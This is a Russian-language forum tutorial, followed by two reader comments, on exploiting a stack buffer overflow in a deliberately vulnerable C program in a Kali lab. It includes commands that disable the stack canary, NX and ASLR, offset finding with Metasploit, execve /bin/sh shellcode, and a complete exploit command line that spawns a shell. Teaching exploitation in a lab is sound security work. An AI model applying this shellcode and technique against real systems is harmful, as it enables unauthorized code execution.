Статья Создание Эксплойта: Переполнение буфера стека

Переполнение буфера стека происходит, когда программа записывает больше данных для стека, чем было выделено для буфера. Это приводит к перезаписыванию, возможно, важных избыточных данных в стеке и вызывает аварийное завершение или выполнение произвольного кода возможным перезаписыванием указателя команд и, следовательно, позволяет перенаправить выполнение потока программы.

Я использую Evan's debugger для демонстрации переполнения буфера на Kali Linux.

Уязвимый код

Распространенная уязвимость переполнения буфера в программе сохраняет данные, вводимые пользователем в памяти без проверки размера указания точного размера данных, которые должны быть записаны в памяти. Зная этот факт, мы можем использовать простой пример кода уязвимости для стека на основе переполнения буфера.

Код:
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buffer[20];
strcpy(buffer, argv[1]);
printf("%s\n",buffer);
return 0;
}


Приведенный выше код сохраняет произвольный размер переменной ARGV в буфер 20 байт без проверки фактического размера ARGV. Если ARGV больше 20 байт, то это приведет к переполнению буфера.​

Взлом и отладка

Мы почти взломали нашу программу. Перед тем как сделать это, мы должны заблокировать несколько встроенных защит переполнения буфера. Так как переполнение буфера теперь является старой формой эксплойта, у компиляторов и ОС теперь есть несколько защитных мер против них.​

Стек Canary

Стек canary является случайным числом, размещенным в стеке сразу же перед указателем возврата стека. В случае переполнения буфера стека, значение canary будет перезаписано и программа сделает исключение. Стек canary может быть заблокирован во время компиляции путем компилирования с опцией -fno-stack-protector.
Код:
root@kali:~# gcc vulnerable.c -o vulnerable -fno-stack-protector
Предотвращение выполнения данных (NX/DEP)

Переполнение буфера стека обычно использует возможность контролировать исполняемый поток путем выполнения пейлоада, который хранится в стеке программы. DEP просто блокирует разрешение на выполнение стека программы, изображая пейлоад невыполнимым и бесполезным. Это может быть заблокировано путем использования такой программы как
Код:
root@kali:~# execstack -s ./vulnerable
DEP может быть обойден, с помощью таких техник как или

Address Space Layout Randomization (ASLR)

ASLR рандомизирует пространство памяти программы таким образом, чтобы перезаписывание адресной ссылки команд с фиксированным местоположением в памяти не являлось таким полезным, т.к. будет отличаться каждый раз, когда программа запускается и не будет указывать на то, что могло бы быть показано для пейлоад или ROP приспособления. ASLR может быть временно заблокировано, если ввести следующую команду
Код:
root@kali:~# echo 0 > /proc/sys/kernel/randomize_va_space
Теперь, когда вся защита переполнения буфера заблокирована, мы можем перейти к безопасному переполнению буфера стека в нашем коде во время использования отладчика, для проверки результатов.

Если мы посылаем 200 байт, состоящие из 200 A, программа завершает свою работу и в отладчике мы видим, что EIP переписан с 0x41414141.

Это происходит потому, что адрес возврата для основной функции, также хранится в стеке. После того, как память, выделенная в буфер, заканчивается, функция STRCPY начинает перезаписывать важные элементы, присутствующие в стеке, один из которых является адресом возврата основной функции. В связи с этим, после того, как основная функция завершает выполнение и возвращается, адрес, на который она возвращается, читается со стека и хранится в EIP, который в данном случае не является действительным адресом, но только 0x41414141 из-за нашего большого буфера.
Код:
root@kali:~# edb --run ./vulnerable $(python -c 'print "A"*200')

sozdanie-eksplojta-perepolnenie-bufera-steka-1.png


Program crash due to buffer overflow

sozdanie-eksplojta-perepolnenie-bufera-steka-2.png


EIP points to 0x41414141

Управление EIP

Нам необходимо точно вычислить, сколько байт из наших 200 байт буфера перезаписывается EIP. У Metasploit framework есть два отличных инструмента для этого, это pattern_create и pattern_offset. Первый создает уникальный шаблон, для отправки его как буфера. Второй же используется, чтобы узнать смещение байтов, которые перезаписали EIP.
Код:
root@kali:~# /usr/share/metasploit-framework/tools/pattern_create.rb 200

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

root@kali:~# edb --run ./vulnerable Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

sozdanie-eksplojta-perepolnenie-bufera-steka-3.png


EIP points to a location in the unique pattern

Теперь мы можем использовать pattern_offset, чтобы найти местоположение 31624130 в сгенерированном шаблоне.
Код:
root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 31624130
[*] Exact match at offset 32

Теперь нам нужно хорошее местоположение чтобы иметь адресную ссылку к EIP; предпочтительно, где мы сможем хранить выполнимый пейлоад. Отправляя выполненный пейлоад, мы можем вычислить локацию в стеке программы для нашего пейлоад.
Код:
root@kali:~# edb --run ./vulnerable $(python -c 'print "A"*32 + "B"*4 + "C"*164')
Это приведет к аварийному завершению программы и EIP, чтобы ссылаться на 0x42424242, который также является недоступным местом памяти. Однако, если мы взглянем поближе на стек, мы сможем увидеть, что C аккуратно выровнены начиная с 0xbffff990, и это будет отличной локацией для шелл-кода нашего пейлоад.

sozdanie-eksplojta-perepolnenie-bufera-steka-4.png


Contents of stack after buffer overflow

Шелл-код и Эксплуатация

Мы можем захватить примитивный шелл-код, который выполняет /bin/bash, таким образом предоставляя нам оболочку с правами доступа пользователя, который запускает уязвимую программу.

Я использую этот:

Код:
    *****************************************************
    *    Linux/x86 execve /bin/sh shellcode 23 bytes    *
    *****************************************************
    *            Author: Hamza Megahed            *
    *****************************************************
    *             Twitter: @Hamza_Mega                  *
    *****************************************************
    *     blog: hamza-mega[dot]blogspot[dot]com         *
    *****************************************************
    *   E-mail: hamza[dot]megahed[at]gmail[dot]com      *
    *****************************************************
xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80
********************************
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

Главное помнить, что мы должны сохранять размер нашего буфера в пределах 200 байт, либо местоположения указателя стека изменится, и наш жестко запрограммированный адрес памяти для EIP будет указывать на несоответствующую память.

Мы можем заполнить оставшееся место символами '\x90', которые обычно являются неэксплуатируемыми командами CPU.
Код:
root@kali:~# edb --run ./vulnerable $(python -c 'print "A"*32 + "\x90\xf9\xff\xbf" +"\x90"*141 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
Мы можем проверить окно вывода, чтобы подтвердить, что наш эксплойт работает, и у нас есть оболочка.

sozdanie-eksplojta-perepolnenie-bufera-steka-5.png


Shell from buffer overflow exploit

Мы успешно использовали нашу уязвимую программу.​

Источник:
Перевод: Анна Давыдова
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Спасибо за статью) Какраз собрался уходить в Exploit Dev и ShellCoding )) Так что буду очень презнателен за материал данной тематики)
 

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Buffer Over flow в чистом виде как кавычка в SQL. Но статья действительно дельная для введения с нуля спасибо.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!